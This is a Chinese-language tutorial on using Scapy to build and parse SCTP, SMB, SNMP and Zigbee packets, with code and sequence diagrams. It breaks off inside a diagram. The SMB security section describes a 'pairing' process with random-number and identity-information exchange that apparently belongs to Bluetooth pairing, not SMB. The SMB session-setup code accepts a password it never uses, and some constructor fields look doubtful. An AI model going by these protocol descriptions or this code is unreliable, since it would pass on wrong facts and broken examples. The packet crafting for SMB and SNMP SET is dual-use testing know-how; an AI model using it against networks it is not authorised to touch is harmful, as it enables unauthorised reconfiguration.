Scapy 封包操作核心技術

Scapy 作為基於 Python 開發的網路封包操作工具,在網路分析與測試領域提供了極為豐富的功能集。這個函式庫不僅支援常見的 TCP/IP 協定堆疊,更擴展到 SCTP、SMB、SNMP 等進階協定的處理能力,讓網路工程師能夠深入底層進行精密的封包操作。在實務應用中,Scapy 提供的封包生成、傳送、捕捉、分析、修改與重組功能,成為網路安全測試、流量分析與裝置除錯等場景中不可或缺的工具。

透過靈活運用 Scapy 的核心函式,工程師能夠模擬各種複雜的網路行為,深入理解網路協定的運作機制,並識別潛在的安全漏洞。從基礎的封包構建到進階的協定分析,Scapy 提供了完整的工具鏈,支援從第二層乙太網路到第七層應用層的全方位操作。此外,Scapy 對無線網路與藍牙技術的支援,使得工程師能夠更全面地掌握整體網路環境的安全狀況,進行深度的安全評估與漏洞挖掘工作。

隨著網路技術的持續演進,Scapy 也不斷更新其功能與協定支援,因應雲端運算、虛擬化技術、物聯網等新興技術的挑戰。對於需要進行網路層級除錯、安全研究或是協定開發的專業人員來說,深入掌握 Scapy 的操作技巧與應用場景,將能夠大幅提升問題解決能力與工作效率。本文將從多個面向探討 Scapy 的實務應用,提供完整的技術指引與程式碼範例。

SCTP 協定深度解析

Stream Control Transmission Protocol 在傳輸層提供了比 TCP 更豐富的功能特性,特別適合電信與網路營運商之間的關鍵通訊場景。SCTP 協定設計時考慮了多宿主支援、多串流傳輸等進階需求,使其在需要高可靠性與彈性的環境中具有獨特優勢。在 Scapy 的實作中,SCTP 協定被細分為多個片段參數,每個參數都承載著特定的控制與資料功能。

新增與刪除 IP 位址的參數機制允許 SCTP 連線動態調整其端點位址,這在網路拓撲變化頻繁的環境中特別重要。當移動裝置在不同網路間移動,或是伺服器需要進行網路介面切換時,這些參數能夠確保連線的持續性。片段列表參數則提供了對 SCTP 擴展功能的協商機制,通訊雙方可以透過這個參數交換各自支援的功能特性,建立最佳的連線組態。

from scapy.all import *

# SCTP 連線建立與參數協商範例
# 展示如何使用 Scapy 構建完整的 SCTP 連線流程

def create_sctp_init_packet(src_ip, dst_ip, src_port, dst_port):
    """
    建立 SCTP INIT 封包
    
    Args:
        src_ip: 來源 IP 位址
        dst_ip: 目標 IP 位址
        src_port: 來源埠號
        dst_port: 目標埠號
        
    Returns:
        完整的 SCTP INIT 封包
    """
    # 建立 IP 層
    # src: 來源 IP 位址
    # dst: 目標 IP 位址
    ip_layer = IP(src=src_ip, dst=dst_ip)
    
    # 建立 SCTP 基礎層
    # sport: 來源埠號
    # dport: 目標埠號
    # tag: 初始化時使用 0
    sctp_layer = SCTP(sport=src_port, dport=dst_port, tag=0)
    
    # 建立 INIT chunk
    # init_tag: 隨機產生的標籤,用於後續驗證
    # a_rwnd: 通告接收視窗大小
    # n_out_streams: 支援的輸出串流數量
    # n_in_streams: 支援的輸入串流數量
    # init_tsn: 初始傳輸序號
    init_chunk = SCTPChunkInit(
        init_tag=0x12345678,
        a_rwnd=65535,
        n_out_streams=10,
        n_in_streams=10,
        init_tsn=1000
    )
    
    # 新增 IPv4 位址參數
    # 告知對端本地支援的 IPv4 位址
    ipv4_param = SCTPChunkParamIPv4Addr(addr=src_ip)
    
    # 新增 IPv6 位址參數(如果支援)
    # 提供多宿主支援的位址選項
    ipv6_param = SCTPChunkParamIPv6Addr(addr="2001:db8::1")
    
    # 新增支援的位址類型參數
    # 宣告本端支援的位址家族
    addr_types_param = SCTPChunkParamSupportedAddrTypes(
        addr_type_1=5,  # IPv4
        addr_type_2=6   # IPv6
    )
    
    # 新增 ECN 能力參數
    # 表示支援顯式擁塞通知機制
    ecn_param = SCTPChunkParamECNCapable()
    
    # 新增支援的擴展參數
    # 宣告本端支援的 SCTP 擴展功能
    ext_param = SCTPChunkParamSupportedExtensions(
        chunk_type=[
            0x00,  # DATA
            0x01,  # INIT
            0x02,  # INIT ACK
            0xC0   # FORWARD TSN
        ]
    )
    
    # 組合所有參數到 INIT chunk
    init_chunk.params = [
        ipv4_param,
        ipv6_param,
        addr_types_param,
        ecn_param,
        ext_param
    ]
    
    # 組合完整封包
    packet = ip_layer/sctp_layer/init_chunk
    
    return packet

def create_sctp_cookie_echo(src_ip, dst_ip, src_port, dst_port, cookie_data):
    """
    建立 SCTP COOKIE ECHO 封包
    
    Args:
        src_ip: 來源 IP 位址
        dst_ip: 目標 IP 位址
        src_port: 來源埠號
        dst_port: 目標埠號
        cookie_data: 從 INIT ACK 收到的 Cookie 資料
        
    Returns:
        SCTP COOKIE ECHO 封包
    """
    # 建立 IP 與 SCTP 層
    ip_layer = IP(src=src_ip, dst=dst_ip)
    sctp_layer = SCTP(sport=src_port, dport=dst_port, tag=0x87654321)
    
    # 建立 COOKIE ECHO chunk
    # cookie: 從 INIT ACK 中取得的狀態 Cookie
    cookie_echo = SCTPChunkCookieEcho(cookie=cookie_data)
    
    # 組合封包
    packet = ip_layer/sctp_layer/cookie_echo
    
    return packet

def handle_sctp_packet(packet):
    """
    處理接收到的 SCTP 封包
    
    Args:
        packet: 接收到的封包
    """
    if packet.haslayer(SCTP):
        sctp = packet[SCTP]
        
        print(f"SCTP 封包資訊:")
        print(f"來源埠: {sctp.sport}")
        print(f"目標埠: {sctp.dport}")
        print(f"驗證標籤: {hex(sctp.tag)}")
        
        # 處理 INIT ACK
        if packet.haslayer(SCTPChunkInitAck):
            init_ack = packet[SCTPChunkInitAck]
            print(f"\nINIT ACK 接收:")
            print(f"初始化標籤: {hex(init_ack.init_tag)}")
            print(f"接收視窗: {init_ack.a_rwnd}")
            print(f"輸出串流: {init_ack.n_out_streams}")
            print(f"輸入串流: {init_ack.n_in_streams}")
            
            # 提取 State Cookie
            for param in init_ack.params:
                if isinstance(param, SCTPChunkParamStateCookie):
                    print(f"State Cookie 長度: {len(param.cookie)}")
                    return param.cookie
        
        # 處理 COOKIE ACK
        if packet.haslayer(SCTPChunkCookieAck):
            print("\nCOOKIE ACK 接收: 連線建立成功")

# 建立 SCTP INIT 封包
init_packet = create_sctp_init_packet(
    src_ip="192.168.1.100",
    dst_ip="192.168.1.1",
    src_port=3000,
    dst_port=3868
)

print("SCTP INIT 封包已建立")
# 發送封包並等待回應
# send(init_packet)
# response = sniff(filter="sctp", prn=handle_sctp_packet, count=1, timeout=5)

Cookie 保留參數在 SCTP 連線建立過程中扮演重要角色,允許客戶端要求伺服器延長 State Cookie 的有效時間。這在網路延遲較高或是客戶端處理速度較慢的環境中特別有用,能夠避免因為 Cookie 過期導致的連線建立失敗。心跳資訊參數則用於多宿主環境中的路徑監控,透過定期發送心跳訊息,SCTP 端點能夠檢測各個網路路徑的可用性,在主要路徑失效時自動切換到備用路徑。

主機名稱參數提供了人類可讀的端點識別資訊,這在除錯與日誌記錄時特別有用。隨機參數與 HMAC 功能參數則與 SCTP 的安全擴展相關,支援對 SCTP 連線進行加密與認證保護,防止未授權的存取與資料竄改。設定主要位址參數允許多宿主連線動態調整其優先使用的網路路徑,這在網路環境變化時能夠最佳化連線效能。

在實務應用中,正確使用這些 SCTP 參數能夠建立穩定且高效的連線。例如在電信信令網路中,SCTP 常用於傳輸 Diameter、SIP 等協定訊息,其多串流與多宿主特性能夠確保關鍵通訊的可靠性。透過 Scapy 提供的完整 SCTP 支援,工程師能夠詳細分析這些參數的交換過程,驗證實作的正確性,並進行各種故障場景的測試。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120

participant "SCTP 客戶端" as Client
participant "網路" as Network
participant "SCTP 伺服器" as Server

== 四次握手連線建立 ==
Client -> Server: INIT\n包含參數:\n- IPv4/IPv6 位址\n- 支援的擴展\n- ECN 能力
Server -> Client: INIT ACK\n包含參數:\n- State Cookie\n- 協商的串流數\n- 接收視窗大小
Client -> Server: COOKIE ECHO\n回傳 State Cookie
Server -> Client: COOKIE ACK\n連線建立完成

== 多串流資料傳輸 ==
Client -> Server: DATA (串流 0)\n應用資料
Client -> Server: DATA (串流 1)\n控制訊息
Server -> Client: SACK\n確認接收

== 路徑監控機制 ==
Client -> Server: HEARTBEAT\n主要路徑監控
Server -> Client: HEARTBEAT ACK\n路徑正常
Client -> Server: HEARTBEAT\n備用路徑監控
Server -> Client: HEARTBEAT ACK\n路徑正常

== 連線終止 ==
Client -> Server: SHUTDOWN\n請求關閉
Server -> Client: SHUTDOWN ACK\n確認關閉
Client -> Server: SHUTDOWN COMPLETE\n完成關閉

@enduml

SMB 協定安全分析

Server Message Block 協定在 Windows 網路環境中扮演著核心角色,提供檔案分享、印表機分享與程序間通訊等關鍵服務。SMB 協定歷經多個版本的演進,從早期的 SMB1 到現代的 SMB3,每個版本都引入了新的安全機制與效能最佳化。在 Scapy 的支援下,工程師能夠深入分析 SMB 協定的運作細節,識別潛在的安全風險。

郵件槽機制在 SMB 協定中提供了一種單向的訊息傳遞方式,主要用於網路瀏覽與服務通告。雖然這個機制在現代網路中的使用已經減少,但在某些舊有系統中仍然存在,可能成為安全漏洞的來源。會話設定請求與回應是 SMB 連線建立的關鍵步驟,在這個階段,客戶端與伺服器協商認證方法、安全等級與功能支援。

from scapy.all import *

# SMB 協定分析與安全測試範例
# 展示如何使用 Scapy 分析 SMB 流量與測試安全性

def create_smb_negotiate_request():
    """
    建立 SMB 協商請求封包
    
    Returns:
        SMB 協商請求封包
    """
    # 建立 NetBIOS Session 層
    # 使用 NetBIOS Session Service (埠 139)
    netbios = NBTSession(
        type=0x00,  # Session Message
        length=0
    )
    
    # 建立 SMB 標頭
    # Command: SMB_COM_NEGOTIATE (0x72)
    # Flags: 預設標誌
    # Flags2: 支援長檔名、Unicode 等
    smb_header = SMBNegotiate_Protocol_Request_Header(
        Start=b"\xffSMB",
        Command=0x72,  # SMB_COM_NEGOTIATE
        Status=0,
        Flags=0x18,
        Flags2=0xc843,
        PIDHigh=0,
        Signature=b"\x00" * 8,
        Reserved=0,
        TID=0,
        PID=0,
        UID=0,
        MID=0
    )
    
    # 建立協商請求內容
    # 包含支援的 SMB 方言列表
    dialects = [
        b"\x02PC NETWORK PROGRAM 1.0\x00",
        b"\x02LANMAN1.0\x00",
        b"\x02Windows for Workgroups 3.1a\x00",
        b"\x02LM1.2X002\x00",
        b"\x02LANMAN2.1\x00",
        b"\x02NT LM 0.12\x00",
        b"\x02SMB 2.002\x00",
        b"\x02SMB 2.???\x00"
    ]
    
    # 組合方言字串
    dialect_string = b"".join(dialects)
    
    # 建立協商請求參數
    negotiate_request = SMBNegotiate_Protocol_Request_Tail(
        WordCount=0,
        ByteCount=len(dialect_string),
        BufferData=dialect_string
    )
    
    # 組合完整封包
    packet = netbios/smb_header/negotiate_request
    
    return packet

def create_smb_session_setup_request(username, password, domain):
    """
    建立 SMB 會話設定請求
    
    Args:
        username: 使用者名稱
        password: 密碼
        domain: 網域名稱
        
    Returns:
        SMB 會話設定請求封包
    """
    # 建立 NetBIOS Session 層
    netbios = NBTSession(type=0x00)
    
    # 建立 SMB 標頭
    smb_header = SMBSession_Setup_AndX_Request_Header(
        Start=b"\xffSMB",
        Command=0x73,  # SMB_COM_SESSION_SETUP_ANDX
        Status=0,
        Flags=0x18,
        Flags2=0xc843,
        PIDHigh=0,
        Signature=b"\x00" * 8,
        Reserved=0,
        TID=0,
        PID=0,
        UID=0,
        MID=1
    )
    
    # 建立 NTLM 認證資料
    # 使用 NTLMv2 進行安全認證
    ntlm_auth = NTLM_Header(
        MessageType=1,  # NTLM_NEGOTIATE
        NegotiateFlags=0xe2088297
    )
    
    # 建立會話設定請求參數
    # MaxBufferSize: 最大緩衝區大小
    # MaxMpxCount: 最大並行請求數
    # VcNumber: 虛擬連線編號
    # SessionKey: 會話金鑰
    # Capabilities: 支援的功能
    session_setup = SMBSession_Setup_AndX_Request_Parameters(
        AndXCommand=0xFF,  # 無後續命令
        AndXReserved=0,
        AndXOffset=0,
        MaxBufferSize=4356,
        MaxMpxCount=50,
        VcNumber=0,
        SessionKey=0,
        SecurityBlobLength=len(bytes(ntlm_auth)),
        Reserved=0,
        Capabilities=0x800000d4
    )
    
    # 建立會話設定請求資料
    # SecurityBlob: NTLM 認證資料
    # NativeOS: 作業系統識別
    # NativeLanMan: LAN Manager 識別
    session_data = SMBSession_Setup_AndX_Request_Data(
        SecurityBlob=bytes(ntlm_auth),
        NativeOS="Windows 10".encode('utf-16le'),
        NativeLanMan="Windows 10 6.3".encode('utf-16le'),
        PrimaryDomain=domain.encode('utf-16le')
    )
    
    # 組合完整封包
    packet = netbios/smb_header/session_setup/session_data
    
    return packet

def parse_smb_packet(packet):
    """
    解析 SMB 封包
    
    Args:
        packet: 接收到的 SMB 封包
    """
    if packet.haslayer(NBTSession):
        print("NetBIOS Session 封包")
        
        # 解析 SMB 標頭
        if hasattr(packet, 'Command'):
            cmd = packet.Command
            print(f"SMB 命令: {hex(cmd)}")
            
            # 解析協商回應
            if cmd == 0x72:  # SMB_COM_NEGOTIATE
                print("SMB 協商回應")
                if hasattr(packet, 'DialectIndex'):
                    print(f"選擇的方言索引: {packet.DialectIndex}")
                if hasattr(packet, 'SecurityMode'):
                    print(f"安全模式: {hex(packet.SecurityMode)}")
                if hasattr(packet, 'MaxMpxCount'):
                    print(f"最大並行請求: {packet.MaxMpxCount}")
            
            # 解析會話設定回應
            elif cmd == 0x73:  # SMB_COM_SESSION_SETUP_ANDX
                print("SMB 會話設定回應")
                if hasattr(packet, 'UID'):
                    print(f"使用者 ID: {packet.UID}")
                if hasattr(packet, 'Action'):
                    print(f"動作: {hex(packet.Action)}")

# 建立 SMB 協商請求
negotiate_packet = create_smb_negotiate_request()
print("SMB 協商請求已建立")

# 建立 SMB 會話設定請求
session_packet = create_smb_session_setup_request(
    username="testuser",
    password="testpass",
    domain="WORKGROUP"
)
print("SMB 會話設定請求已建立")

# 監聽 SMB 回應
# sniff(filter="tcp port 139 or tcp port 445", prn=parse_smb_packet, count=5)

SMB 協定中的配對機制涉及複雜的安全流程,包括配對確認、隨機數生成、身份資訊交換與安全資訊交換等步驟。這些步驟確保了只有經過授權的裝置能夠建立 SMB 連線,防止未經授權的存取。在配對確認階段,客戶端與伺服器交換各自的能力與安全要求,協商出雙方都支援的最高安全等級。

隨機數生成與交換是 SMB 認證過程中的關鍵步驟,這些隨機數用於產生會話金鑰,確保每次連線都使用不同的加密金鑰,防止重放攻擊。身份資訊交換階段,客戶端提供使用者憑證,伺服器進行驗證並決定是否允許存取。在現代的 SMB3 協定中,更引入了端到端加密機制,確保資料在傳輸過程中的機密性。

安全資訊交換包含了加密演算法的協商、簽章機制的啟用等重要安全設定。SMB3 支援 AES-128-CCM 與 AES-128-GCM 等強加密演算法,能夠有效保護資料不被竊聽或竄改。簽章機制則確保了訊息的完整性與真實性,防止中間人攻擊。在企業環境中,正確組態 SMB 安全設定對於保護敏感資料至關重要。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120

participant "SMB 客戶端" as Client
participant "網路" as Network  
participant "SMB 伺服器" as Server

== 協定協商階段 ==
Client -> Server: SMB Negotiate Request\n支援的方言列表
Server -> Client: SMB Negotiate Response\n選擇的方言與安全模式

== 會話建立階段 ==
Client -> Server: Session Setup Request\nNTLM 認證資訊
Server -> Client: Session Setup Challenge\n挑戰隨機數
Client -> Server: Session Setup Response\n加密的回應
Server -> Client: Session Setup Complete\n會話 UID

== 樹狀連線階段 ==
Client -> Server: Tree Connect Request\n資源路徑
Server -> Client: Tree Connect Response\n樹狀 ID (TID)

== 檔案操作階段 ==
Client -> Server: Create Request\n檔案路徑與存取權限
Server -> Client: Create Response\n檔案 ID (FID)
Client -> Server: Read Request\n讀取位置與長度
Server -> Client: Read Response\n檔案資料
Client -> Server: Write Request\n寫入資料
Server -> Client: Write Response\n寫入確認

== 連線終止階段 ==
Client -> Server: Close Request\n關閉檔案
Server -> Client: Close Response\n關閉確認
Client -> Server: Tree Disconnect\n中斷樹狀連線
Server -> Client: Tree Disconnect Response
Client -> Server: Logoff\n登出會話
Server -> Client: Logoff Response

@enduml

SNMP 網路管理協定

Simple Network Management Protocol 在網路管理領域提供了標準化的裝置監控與組態機制。SNMP 採用管理者與代理程式的架構,管理者透過發送各種操作請求來取得或設定網路裝置的狀態資訊,代理程式則回應這些請求並在特定事件發生時主動發送陷阱通知。這種架構使得網路管理員能夠集中監控整個網路環境中的各種裝置。

SNMP Get 操作用於讀取特定的管理資訊,管理者指定 OID 物件識別碼來查詢特定的資訊項目。SNMP Set 操作則允許管理者修改裝置的組態參數,例如調整介面狀態、修改路由表項目等。這些操作在日常網路維運中被頻繁使用,協助管理員即時掌握網路狀態並進行必要的調整。

from scapy.all import *

# SNMP 網路管理操作範例
# 展示如何使用 Scapy 進行 SNMP 查詢與組態

def create_snmp_get_request(community, oid_list):
    """
    建立 SNMP GET 請求
    
    Args:
        community: SNMP 社群字串
        oid_list: 要查詢的 OID 清單
        
    Returns:
        SNMP GET 請求封包
    """
    # 建立 SNMPvarbind 清單
    # 每個 varbind 包含一個 OID 與其值
    varbind_list = []
    for oid in oid_list:
        # 建立 varbind
        # oid: 物件識別碼
        # value: GET 請求時使用 Null
        varbind = SNMPvarbind(
            oid=ASN1_OID(oid),
            value=ASN1_NULL(0)
        )
        varbind_list.append(varbind)
    
    # 建立 SNMP GET PDU
    # version: SNMP 版本(0=v1, 1=v2c, 3=v3)
    # community: 社群字串用於認證
    # PDU: Protocol Data Unit
    snmp_pdu = SNMP(
        version=1,  # SNMPv2c
        community=community.encode(),
        PDU=SNMPget(
            id=1,  # 請求 ID
            error=0,  # 錯誤狀態
            error_index=0,  # 錯誤索引
            varbindlist=varbind_list
        )
    )
    
    # 組合完整封包
    # SNMP 使用 UDP 161 埠
    packet = IP(dst="192.168.1.1")/UDP(dport=161)/snmp_pdu
    
    return packet

def create_snmp_set_request(community, oid, value, value_type):
    """
    建立 SNMP SET 請求
    
    Args:
        community: SNMP 社群字串
        oid: 要設定的 OID
        value: 要設定的值
        value_type: 值的類型(integer, string, ipaddress 等)
        
    Returns:
        SNMP SET 請求封包
    """
    # 根據類型建立對應的 ASN.1 值
    if value_type == "integer":
        asn1_value = ASN1_INTEGER(value)
    elif value_type == "string":
        asn1_value = ASN1_STRING(value.encode())
    elif value_type == "ipaddress":
        asn1_value = ASN1_IPADDRESS(value)
    elif value_type == "counter":
        asn1_value = ASN1_COUNTER(value)
    elif value_type == "gauge":
        asn1_value = ASN1_GAUGE(value)
    else:
        asn1_value = ASN1_NULL(0)
    
    # 建立 varbind
    varbind = SNMPvarbind(
        oid=ASN1_OID(oid),
        value=asn1_value
    )
    
    # 建立 SNMP SET PDU
    snmp_pdu = SNMP(
        version=1,
        community=community.encode(),
        PDU=SNMPset(
            id=2,
            error=0,
            error_index=0,
            varbindlist=[varbind]
        )
    )
    
    # 組合完整封包
    packet = IP(dst="192.168.1.1")/UDP(dport=161)/snmp_pdu
    
    return packet

def create_snmp_bulk_request(community, non_repeaters, max_repetitions, oid_list):
    """
    建立 SNMP GETBULK 請求
    
    Args:
        community: SNMP 社群字串
        non_repeaters: 非重複變數數量
        max_repetitions: 最大重複次數
        oid_list: OID 清單
        
    Returns:
        SNMP GETBULK 請求封包
    """
    # 建立 varbind 清單
    varbind_list = []
    for oid in oid_list:
        varbind = SNMPvarbind(
            oid=ASN1_OID(oid),
            value=ASN1_NULL(0)
        )
        varbind_list.append(varbind)
    
    # 建立 SNMP GETBULK PDU
    # non_repeaters: 前 N 個變數只取一次
    # max_repetitions: 後續變數最多重複取幾次
    snmp_pdu = SNMP(
        version=1,
        community=community.encode(),
        PDU=SNMPbulk(
            id=3,
            non_repeaters=non_repeaters,
            max_repetitions=max_repetitions,
            varbindlist=varbind_list
        )
    )
    
    # 組合完整封包
    packet = IP(dst="192.168.1.1")/UDP(dport=161)/snmp_pdu
    
    return packet

def parse_snmp_response(packet):
    """
    解析 SNMP 回應
    
    Args:
        packet: 接收到的 SNMP 封包
    """
    if packet.haslayer(SNMP):
        snmp = packet[SNMP]
        
        print(f"SNMP 版本: v{snmp.version + 1}")
        print(f"社群字串: {snmp.community.decode()}")
        
        # 解析 PDU
        pdu = snmp.PDU
        print(f"請求 ID: {pdu.id}")
        print(f"錯誤狀態: {pdu.error}")
        
        # 解析 varbind 清單
        print("\n變數綁定清單:")
        for varbind in pdu.varbindlist:
            oid = varbind.oid.val
            value = varbind.value
            
            print(f"OID: {oid}")
            
            # 根據值類型顯示
            if isinstance(value, ASN1_INTEGER):
                print(f"值: {value.val} (Integer)")
            elif isinstance(value, ASN1_STRING):
                print(f"值: {value.val.decode()} (String)")
            elif isinstance(value, ASN1_IPADDRESS):
                print(f"值: {value.val} (IP Address)")
            elif isinstance(value, ASN1_COUNTER):
                print(f"值: {value.val} (Counter)")
            elif isinstance(value, ASN1_GAUGE):
                print(f"值: {value.val} (Gauge)")
            print("---")

# 系統資訊常用 OID
SYSTEM_OID = {
    'sysDescr': '1.3.6.1.2.1.1.1.0',      # 系統描述
    'sysObjectID': '1.3.6.1.2.1.1.2.0',   # 系統物件 ID
    'sysUpTime': '1.3.6.1.2.1.1.3.0',     # 系統啟動時間
    'sysContact': '1.3.6.1.2.1.1.4.0',    # 系統聯絡人
    'sysName': '1.3.6.1.2.1.1.5.0',       # 系統名稱
    'sysLocation': '1.3.6.1.2.1.1.6.0'    # 系統位置
}

# 建立 SNMP GET 請求查詢系統資訊
get_packet = create_snmp_get_request(
    community="public",
    oid_list=[
        SYSTEM_OID['sysDescr'],
        SYSTEM_OID['sysUpTime'],
        SYSTEM_OID['sysName']
    ]
)
print("SNMP GET 請求已建立")

# 建立 SNMP SET 請求修改系統聯絡人
set_packet = create_snmp_set_request(
    community="private",
    oid=SYSTEM_OID['sysContact'],
    value="admin@example.com",
    value_type="string"
)
print("SNMP SET 請求已建立")

# 建立 SNMP GETBULK 請求批次查詢介面資訊
bulk_packet = create_snmp_bulk_request(
    community="public",
    non_repeaters=0,
    max_repetitions=10,
    oid_list=['1.3.6.1.2.1.2.2.1']  # ifTable
)
print("SNMP GETBULK 請求已建立")

# 監聽 SNMP 回應
# response = sniff(filter="udp port 161", prn=parse_snmp_response, count=3, timeout=10)

SNMP Inform 操作提供了可靠的通知機制,與 Trap 不同的是,Inform 要求接收端回應確認訊息。這確保了重要事件通知不會因為網路問題而遺失。SNMP Trap 則是代理程式主動發送的事件通知,用於報告異常狀況或重要事件,例如介面狀態變化、系統重啟、認證失敗等。

SNMPv1 與 SNMPv2 使用社群字串進行簡單的認證,但這種機制存在明顯的安全弱點,社群字串以明文傳輸,容易被竊聽。SNMPv3 引入了完整的安全框架,支援使用者認證、訊息加密與完整性檢查,大幅提升了 SNMP 的安全性。在現代網路環境中,強烈建議使用 SNMPv3 來保護管理流量的安全。

SNMP GetNext 與 GetBulk 操作提供了遍歷 MIB 樹狀結構的能力。GetNext 逐個取得下一個 OID 的值,適合探索未知的 MIB 結構。GetBulk 則是 SNMPv2c 引入的最佳化操作,能夠在單次請求中取得多個連續的 OID 值,大幅提升大量資料查詢的效率。在需要監控大量介面或是收集詳細統計資訊時,GetBulk 操作能夠顯著降低網路負載與查詢時間。

Zigbee 物聯網協定

Zigbee 作為低功耗無線通訊技術,在物聯網領域具有廣泛應用,特別是在智慧家居、工業自動化與環境監測等場景。Zigbee 協定堆疊包含實體層、MAC 層、網路層與應用層,每一層都有其特定的功能與機制。ZEP 封裝協定提供了在 IP 網路上傳輸 Zigbee 封包的方法,這在 Zigbee 網路分析與測試中特別有用。

Zigbee 信標幀在網路同步與裝置關聯中扮演重要角色。協調器定期發送信標幀,提供網路識別資訊、時序資訊與待處理訊息通知。終端裝置透過監聽信標幀來同步其內部時鐘,並決定何時進入睡眠模式以節省電力。在信標啟用的網路中,所有通訊都必須在信標間隔內的特定時隙進行,這確保了網路的有序運作。

from scapy.all import *

# Zigbee 協定分析範例
# 展示如何使用 Scapy 分析 Zigbee 網路流量

def create_zigbee_beacon():
    """
    建立 Zigbee 信標幀
    
    Returns:
        Zigbee 信標封包
    """
    # 建立 802.15.4 MAC 層
    # fcf_frametype: 0 表示信標幀
    # fcf_security: 安全性啟用標誌
    # fcf_pending: 待處理訊息標誌
    # fcf_ackreq: 確認要求標誌
    # fcf_panidcompress: PAN ID 壓縮標誌
    dot15d4 = Dot15d4(
        fcf_frametype=0,  # Beacon
        fcf_security=0,
        fcf_pending=0,
        fcf_ackreq=0,
        fcf_panidcompress=0,
        fcf_destaddrmode=0,  # 無目標位址
        fcf_srcaddrmode=3,   # 64 位元來源位址
        seqnum=1
    )
    
    # 建立 802.15.4 信標資料
    # src_panid: 來源 PAN ID
    # src_addr: 來源位址
    dot15d4_beacon = Dot15d4Beacon(
        src_panid=0x1234,
        src_addr=0x0000000000000001
    )
    
    # 建立 Zigbee 信標負載
    # nwk_beacon_order: 信標順序
    # nwk_superframe_order: 超幀順序
    # nwk_final_cap_slot: 最終競爭存取期時隙
    # nwk_battery_life_ext: 電池壽命延長
    # nwk_pan_coordinator: PAN 協調器標誌
    # nwk_permit_joining: 允許加入標誌
    zigbee_beacon = ZigBeeBeacon(
        nwk_beacon_order=15,  # 非信標模式
        nwk_superframe_order=15,
        nwk_final_cap_slot=15,
        nwk_battery_life_ext=0,
        nwk_pan_coordinator=1,
        nwk_permit_joining=1
    )
    
    # 組合完整封包
    packet = dot15d4/dot15d4_beacon/zigbee_beacon
    
    return packet

def create_zigbee_data_packet(src_addr, dst_addr, data):
    """
    建立 Zigbee 資料封包
    
    Args:
        src_addr: 來源短位址
        dst_addr: 目標短位址
        data: 應用資料
        
    Returns:
        Zigbee 資料封包
    """
    # 建立 802.15.4 資料幀
    dot15d4 = Dot15d4Data(
        fcf_frametype=1,  # Data
        fcf_security=0,
        fcf_pending=0,
        fcf_ackreq=1,  # 要求確認
        fcf_panidcompress=1,
        fcf_destaddrmode=2,  # 16 位元目標位址
        fcf_srcaddrmode=2,   # 16 位元來源位址
        seqnum=1,
        dest_panid=0x1234,
        dest_addr=dst_addr,
        src_addr=src_addr
    )
    
    # 建立 Zigbee 網路層
    # frametype: 0 表示資料幀
    # discover_route: 路由探索
    # flags: 協定版本與其他標誌
    # radius: 跳數半徑
    # seqnum: 序號
    zigbee_nwk = ZigbeeNWK(
        frametype=0,  # Data
        discover_route=0,
        flags=0x02,  # Zigbee PRO
        radius=30,
        seqnum=1,
        destination=dst_addr,
        source=src_addr
    )
    
    # 建立 Zigbee 應用層資料負載
    # frame_control: 幀控制欄位
    # delivery_mode: 傳遞模式(單播/廣播/群組)
    # aps_frametype: APS 幀類型
    zigbee_app = ZigbeeAppDataPayload(
        frame_control=0x00,
        delivery_mode=0,  # 單播
        aps_frametype=0,  # Data
        cluster=0x0000,  # 基本叢集
        profile=0x0104,  # 家庭自動化設定檔
        aps_seqnum=1,
        data=data
    )
    
    # 組合完整封包
    packet = dot15d4/zigbee_nwk/zigbee_app
    
    return packet

def parse_zigbee_packet(packet):
    """
    解析 Zigbee 封包
    
    Args:
        packet: 接收到的 Zigbee 封包
    """
    if packet.haslayer(Dot15d4):
        dot15d4 = packet[Dot15d4]
        
        # 判斷幀類型
        frame_type = dot15d4.fcf_frametype
        
        if frame_type == 0:  # Beacon
            print("Zigbee 信標幀")
            if packet.haslayer(ZigBeeBeacon):
                beacon = packet[ZigBeeBeacon]
                print(f"PAN 協調器: {'是' if beacon.nwk_pan_coordinator else '否'}")
                print(f"允許加入: {'是' if beacon.nwk_permit_joining else '否'}")
                
        elif frame_type == 1:  # Data
            print("Zigbee 資料幀")
            if packet.haslayer(ZigbeeNWK):
                nwk = packet[ZigbeeNWK]
                print(f"來源位址: {hex(nwk.source)}")
                print(f"目標位址: {hex(nwk.destination)}")
                print(f"跳數半徑: {nwk.radius}")
                
                # 解析應用層
                if packet.haslayer(ZigbeeAppDataPayload):
                    app = packet[ZigbeeAppDataPayload]
                    print(f"設定檔: {hex(app.profile)}")
                    print(f"叢集: {hex(app.cluster)}")
                    print(f"資料: {app.data}")

# 建立 Zigbee 信標
beacon = create_zigbee_beacon()
print("Zigbee 信標幀已建立")

# 建立 Zigbee 資料封包
data_packet = create_zigbee_data_packet(
    src_addr=0x0001,
    dst_addr=0x0002,
    data=b"\x00\x01\x02\x03"
)
print("Zigbee 資料封包已建立")

# 監聽 Zigbee 流量
# sniff(iface="wpan0", prn=parse_zigbee_packet, count=10)

Zigbee 應用資料負載包含了上層應用的實際資料內容。Zigbee 定義了多種應用設定檔,例如家庭自動化設定檔定義了燈光控制、溫度感測等標準化的裝置類型與命令。叢集函式庫提供了標準化的屬性與命令集合,使得不同廠商的裝置能夠互通操作。在應用開發中,正確使用這些標準化的設定檔與叢集能夠大幅簡化開發工作並提升互操作性。

Zigbee 網路層負責路由與網路管理功能。網路層支援三種網路拓撲,星狀拓撲適合簡單的集中式應用,樹狀拓撲提供了更大的覆蓋範圍,網狀拓撲則提供了最佳的可靠性與彈性。在網狀網路中,訊息可以透過多個跳躍點傳遞,即使某些節點失效,網路仍然能夠自動尋找替代路徑維持通訊。

Zigbee 安全標頭提供了鏈路層與網路層的安全保護機制。支援 AES-128 加密演算法確保資料的機密性,訊息完整性碼則保護資料不被竄改。Zigbee 定義了多種安全金鑰類型,包括網路金鑰用於保護網路層通訊,鏈路金鑰用於端對端的安全通訊。在部署 Zigbee 網路時,正確管理這些安全金鑰對於保護網路安全至關重要,特別是在智慧家居等涉及個人隱私的應用場景中。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
